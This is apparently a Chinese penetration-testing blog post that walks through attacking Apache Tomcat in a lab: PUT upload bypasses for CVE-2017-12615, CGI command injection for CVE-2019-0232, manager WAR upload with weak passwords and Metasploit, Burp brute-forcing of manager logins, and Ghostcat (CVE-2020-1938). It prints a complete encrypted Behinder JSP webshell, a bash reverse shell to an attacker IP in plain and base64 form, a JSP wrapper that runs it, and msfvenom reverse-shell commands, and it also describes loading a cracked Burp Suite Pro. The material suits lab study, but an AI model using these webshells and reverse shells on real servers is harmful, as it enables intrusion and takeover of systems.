中间件安全之Tomcat渗透

一、Tomcat安装

Windows下安装

1)Tomcat下载

历史版本下载地址

http://archive.apache.org/dist/tomcat/

下载exe文件

2)安装java8

下载网站:https://www.java.com/zh-CN/download/

默认下一步

查看是否安装成功

java -verison

3)安装Tomcat8

下载网站:https://tomcat.apache.org/download-80.cgi

启动安装程序安装即可

Linux下安装

1)下载8.5.65版本的Tomcat

wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz

2)解压文件

tar zxvf apache-tomcat-8.5.65.tar.gz.
mv apache-tomcat-8.5.65 tomcat

3)配置环境变量

cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat

4)重启环境变量

source /etc/profile

5)开启服务|关闭服务

./startup.sh

./shutdown.sh

二、Tomcat目录结构

/bin	# 二进制文件
 - startup.bat			# 启动Tomcat服务
 - shutdown.bat			# 停止Tomcat服务
/conf	# 配置文件
 - server.xml			# 定义了tomcat启动时涉及的组件属性
 - tomcat-users.xml		# 调用CGI
 - web.xml				# 定义servlet
/lib	# 存放全局的jar包

/logs	# 日志

/temp	# 临时文件

/webapps	# 存放JAVA的Web项目
	/manager 	# 后台登陆页面
 	/ROOT 		# 根目录

三、Tomcat渗透

1、任意文件写入漏洞(CVE-2017-12615)

文件上传、getshell

影响范围:7.0.0~7.0.81(官网),

原理:配置不当(非默认配置),将配置文件,造成PUT文件上传

0x01 搭建复现环境

使用docker进行搭建复现环境

IP192.168.112.141

sudo docker ps
sudo docker exec -it d /bin/bash

0x02 漏洞原理

该漏洞由于配置不当,将配置文件web.xml中的readonly项设置为了false,导致可以使用PUT方法上传任意文件,但这里限制了jsp文件,需要进行绕过上传jsp文件

查看readonly项的值:

cat conf/web.xml | grep readonly

gCOoIe.png

至于为什么false时会可以有PUT操作,需要进一步学习

0x03 复现操作

Ⅰ. 文件上传

1)访问主页面,抓包

gCOIaD.png

2)修改包文件,发送

gCOWKx.png

3)查看文件是否上传成功

gCO2x1.png

4)测试上传jsp文件

<%out.println("Hello");%>

gCO5VO.png

Ⅱ. 绕过上传jsp

Linux环境:

  • PUT /xigua1.jsp%20 HTTP/1.1

空格绕过

  • PUT /xigua22.jsp:$DATA HTTP/1.1

NTFS流

  • PUT /xigua333.jsp/ HTTP/1.1

斜杆绕过

Windows环境:

无法绕过上传jsp,因为文件名的问题

Ⅲ.上线冰蝎
一句话
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

gCOhqK.png

连接

gCOfr6.png

gCXPRs.png

2、远程代码执行漏洞(CVE-2019-0232)

webshell 提权

影响范围:
9.0.0 ~ 9.0.17
8.5.0 ~ 8.5.39
7.0.0 ~ 7.0.93

0x01 环境及配置

安装9.0.17版本,下载地址:

http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.17/bin/

1)配置相关项

  1. conf\web.xml中添加下面代码

gCXSIg.png

<servlet>
	<servlet-name>cgi</servlet-name>
	<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
	<init-param>
		<param-name>cgiPathPrefix</param-name>
		<param-value>WEB-INF/cgi-bin</param-value>
	</init-param>
	<init-param>
		<param-name>enableCmdLineArguments</param-name>
		<param-value>true</param-value>
	</init-param>
	<init-param>
		<param-name>executable</param-name>
		<param-value></param-value>
	</init-param>
	<load-on-startup>5</load-on-startup>
</servlet>

启动CGIServlet部分
enableCmdLineArguments 启用后会将URL中的参数传递到命令行
executable 指定执行的二进制文件

  1. conf\web.xml启动CGI的servlet-mapping

gCOxZ8.png

  1. 修改conf\context.xml,添加权限
<Context privileged="true">

  1. webapps\ROOT\WEB-INF下创建一个cgi-bin目录,创建文件xigua.bat,内容任意

gCX9iQ.png

0x02 复现操作

输入下面URL

http://192.168.112.142:8080/cgi-bin/xigua.bat?&dir

gCOzdS.png

0x03 原理分析

参考:
CVE-2019-0232:Apache Tomcat RCE漏洞分析 - 先知社区 (aliyun.com)
RFC 3875 - The Common Gateway Interface (CGI) Version 1.1 (ietf.org)
code white | Blog: Java and Command Line Injections in Windows

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。 这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的。下面以一个简单的case来说明这个问题,在Windows下创建arg.bat:

rem arg.bat
echo %*

并执行如下的Java代码

String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

在Windows下会输出 argdir 命令运行后的结果。同样的,用类似的脚本在Linux环境下测试:

# arg.sh
for key in "$@"
do
    echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

此时的输出为

$@ arg
$@ &
$@ dir

导致这种输出的原因是在JDK的实现中 Runtime.getRuntime().exec 实际调用了 ProcessBuilder ,而后 ProcessBuilder 调用 ProcessImpl使用系统调用 vfork ,把所有参数直接传递至 execve

strace -F -e vfork,execve java Main 跟踪可以看到上面的Java代码在Linux中调用为

execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])

而如果跟踪类似的PHP代码 system('a.sh arg & dir'); ,得到的结果为

execve("/bin/sh",  ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])

所以Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "arg.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。

除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过, 例如 dir "\"&whoami" 在Linux中是安全的,而在Windows会执行命令。

这是因为Windows在处理命令行参数时,会将 " 中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个 " ,但是对 \" 的处理有误。同样用 arg.bat 做测试,可以发现这里只输出了 \ 。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检查才能避免漏洞出现。

0x04 修复建议

关闭enableCmdLineArguments参数

3、弱口令&后台getshel漏洞

后台文件上传、getshell

0x01 环境配置

这里使用Win7环境,IP192.168.112.142

1)在conf\tomcat-users.xml中配置用户权限

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
 				xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 				xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 				version="1.0">
     <role rolename="manager-gui"/> <role rolename="manager-script"/>
     <role rolename="manager-jmx"/>
     <role rolename="manager-status"/>
     <role rolename="admin-gui"/>
     <role rolename="admin-script"/>
     <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

gCXQzR.png

2)开启远程访问

conf\Catalina\localhost\manager.xml文件中添加如下代码

<Context privileged="true" antiResourceLocking="false" 
 		 docBase="${catalina.home}/webapps/manager"> 
 			<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" /> 
</Context> 

3)访问改网址,即可登陆

http://192.168.112.142:8080/manager/html

gCXMW9.png

0x02 后台操作

1)创建后门文件

gCXZZT.png

2)生成war文件

muma.jsp压缩为zip,然后修改后缀成war

或者jar -cvf muma.war muma.jsp

3)上传至网站

gCXELV.png

4)冰蝎连接

gCXKJJ.png

0x03 MSF-getshell

1)使用模块

use exploit/multi/http/tomcat_mgr_upload

gCXmoF.png

2)设置相关项

set rhosts 192.168.112.142
set rport 8080
set HttpPassword tomcat
set HttpUsername tomcat

gCXedU.png

3)执行、提权

gCXui4.png

4、Tomcat Manager 爆破

账号密码爆破

0x01 工具安装

1)开启burpsuite专业版

java -jar burploader.jar

gCX4ln.png

点击RUN

复制License,点击NEXT

gCXhSs.png

点击Manual activation

gCXWWj.png

得到密钥,Next,开启即可

gCXRYQ.png

开启BurpSuite

java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -javaagent:BurpSuiteLoader_v2020.12.1.jar -noverify -jar burpsuite_pro_v2020.12.1.jar

gCX2Fg.png

2)下载Foxyproxy

Google搜索FoxyProxy
网址:FoxyProxy Standard – Get this Extension for 🦊 Firefox (en-US) (mozilla.org)

0x02 爆破操作

1)查看账号密码传输形式

随便填账号密码,抓包查看

gCX6w8.png

gCXcTS.png

gCXyef.png

可以看到是base64加密形式

4)发送给Sniper模块进行爆破

Ⅰ. 选择攻击类型|添加有效载荷

选择攻击类型为Sniper,选定密码数据处,选择添加§

gCj90K.png

Ⅱ. 设置有效载荷类型

选择自定义迭代器

gCXjp9.png

Ⅲ. 设置有效载荷

分别在1、2、3的位置上添加上载荷(这里用于测试,随便写了几个)

gCXvlR.png

gCXx61.png

gCXzOx.png

Ⅳ. 添加有效载荷的处理方式

选择Base64编码

gCjpm6.png

Ⅴ. 开始爆破

查看结果,发现有状态为200的数据包,表示爆破成功

gCjCTO.png

5、AJP文件包含漏洞分析(CVE-2020-1938)

任意文件读取、代码执行

0x01 基本介绍

由于 Tomcat 在处理 AJP 请求时,未对请求做任何验证, 通过设置 AJP 连接器封装的 request 对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞

影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

HTTP协议: 连接器监听 8080 端口,负责建立HTTP连接。在通过浏览器访问 Tomcat 服务器的Web应用时,使用的就是这个连接器。  
AJP协议: 连接器监听 8009 端口,负责和其他的HTTP服务器建立连接。Tomcat 与其他HTTP服务器集成时,就需要用到这个连接器。

0x02 环境搭建

使用Docker进行搭建,在vulhub靶场上进行复现,网址传送门

cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d	#开启容器
sudo docker ps	#查看容器信息
sudo docker exec -it 【ID】 /bin/bash	#进入容器内部

IP:192.168.112.141

0x03 复现操作

Ⅰ. 文件读取漏洞

该漏洞产生的位置位于8009的AJP协议处,可以查看到/webapps下的所有信息。这里使用公开利用的脚本进行测试,读取网站目录下的web.xml文件

1)下载POC

下载地址:
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)

该脚本在python2下运行,下面先使用Kali Linux进行演示,后面看情况再在Windows上演示

2)执行该脚本

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.112.141 -p 8009 -f /WEB-INF/web.xml

gCjo3d.png

Ⅱ. 文件包含漏洞

文件包含导致代码执行,反向shell【txt文件反弹shell】,结合前面的文件上传

该漏洞可以将任意文件解析为jsp,达到任意命令执行的效果。但需要配合文件上传漏洞(前面有讲),这里假设服务器上已存在一个shell文件

1)开启监听

nc -lvp 8888

gCjqDP.png

2)根据监听信息生成payload,并处理

在线Bash Payload生成网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

输入如下命令,192.168.112.132为攻击机的ip地址。

bash -i >& /dev/tcp/192.168.112.132/8888 0>&1

得到的payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

gCjfAO.png

3)构造最终的payload

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

创建xigua-RCE.txt文件,写入上面代码。

4)上传payload文件

这里假设该文件已上传至网站目录上

sudo docker cp /home/Zer0b1t/vulnerability_emersion/xigua-RCE.txt 608768a331b1:/usr/local/tomcat/webapps/ROOT

gCj44e.png

5)执行脚本,上线

这里的脚本和文件读取为同一个,这里只是改名了,下载地址

python2 file_include.py 192.168.112.141 -p 8009 -f xigua-RCE.txt

gCjbut.png

gCjI9H.png

Ⅲ. 文件包含漏洞结合MSF

与上一部分类似,只是在msf里操作

1)msfvenom生成木马文件【txt】

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.112.132 LPORT=5555 R > shell.txt

2)上传文件至/ROOT

步骤见上

3)使用jsp_shell_reverse_tcp监听模块

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.112.132
set lport 5555
exploit -j	#后台运行该监听脚本

4)执行文件包含脚本file_include.py,上线

python2 file_include.py 192.168.112.141 -p 8009 -f shell.txt

gCjhND.png

执行后查看session,使用session 2输入shell等待连接

gCjLHf.png

0x04 源码分析

本人过菜,留下分析文章日后再来【4.26】

Tomcat Ajp协议文件包含漏洞分析 - 先知社区 (aliyun.com)

不调试源码重现 Ghostcat 漏洞 (CVE-2020-1938) (seebug.org)

CVE-2020-1938:Tomcat AJP文件包含漏洞分析 · Ywc's blog (yinwc.github.io)

posted @ 2021-04-28 09:30  labster  阅读(1441)  评论(0编辑  收藏  举报